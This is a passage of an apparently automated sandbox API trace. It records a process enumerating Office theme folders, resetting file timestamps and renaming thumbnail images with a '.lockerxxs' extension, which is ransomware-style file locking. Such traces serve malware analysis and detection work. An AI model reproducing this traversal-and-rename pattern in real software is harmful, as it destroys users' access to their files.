dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.325] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.326] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.326] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0059.326] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.327] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.327] CloseHandle (hObject=0x90) returned 1 [0059.327] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", lpString2="JOURNAL.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" [0059.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", pszSpec="*.ems") returned 0 [0059.327] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x4f8510, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0059.327] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.327] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.327] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.328] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.328] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.330] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.330] CloseHandle (hObject=0x90) returned 1 [0059.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.lockerxxs")) returned 1 [0059.332] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.332] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.332] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0059.332] lstrcmpA (lpString1=".", lpString2="LAYERS") returned -1 [0059.332] lstrcmpA (lpString1="..", lpString2="LAYERS") returned -1 [0059.332] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.333] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.333] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.333] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.333] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.333] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0059.333] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.335] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.335] CloseHandle (hObject=0x90) returned 1 [0059.335] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", lpString2="LAYERS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" [0059.335] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", pszSpec="*.ems") returned 0 [0059.335] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0059.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.335] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.335] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.338] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.339] CloseHandle (hObject=0x90) returned 1 [0059.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.lockerxxs")) returned 1 [0059.341] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.341] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.341] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0059.341] lstrcmpA (lpString1=".", lpString2="LEVEL") returned -1 [0059.341] lstrcmpA (lpString1="..", lpString2="LEVEL") returned -1 [0059.341] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.342] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.342] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.342] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.342] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.342] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0059.342] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.343] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.343] CloseHandle (hObject=0x90) returned 1 [0059.344] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\", lpString2="LEVEL.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" [0059.344] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", pszSpec="*.ems") returned 0 [0059.344] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0059.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.344] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x740078, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.344] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x740078, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.347] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.347] CloseHandle (hObject=0x90) returned 1 [0059.347] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.lockerxxs")) returned 1 [0059.349] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x740078, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.349] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.349] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0059.349] lstrcmpA (lpString1=".", lpString2="NETWORK") returned -1 [0059.349] lstrcmpA (lpString1="..", lpString2="NETWORK") returned -1 [0059.350] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.350] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.350] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.350] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.350] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.350] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.351] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.351] CloseHandle (hObject=0x90) returned 1 [0059.351] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", lpString2="NETWORK.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" [0059.351] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", pszSpec="*.ems") returned 0 [0059.351] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.352] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.352] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.354] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.354] CloseHandle (hObject=0x90) returned 1 [0059.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.lockerxxs")) returned 1 [0059.357] lstrcmpA (lpString1=".", lpString2="PAPYRUS") returned -1 [0059.357] lstrcmpA (lpString1="..", lpString2="PAPYRUS") returned -1 [0059.357] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.358] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.358] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.358] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.358] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.359] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.359] CloseHandle (hObject=0x90) returned 1 [0059.360] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", lpString2="PAPYRUS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" [0059.360] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", pszSpec="*.ems") returned 0 [0059.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.362] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.363] CloseHandle (hObject=0x90) returned 1 [0059.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.lockerxxs")) returned 1 [0059.368] lstrcmpA (lpString1=".", lpString2="PIXEL") returned -1 [0059.368] lstrcmpA (lpString1="..", lpString2="PIXEL") returned -1 [0059.368] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, 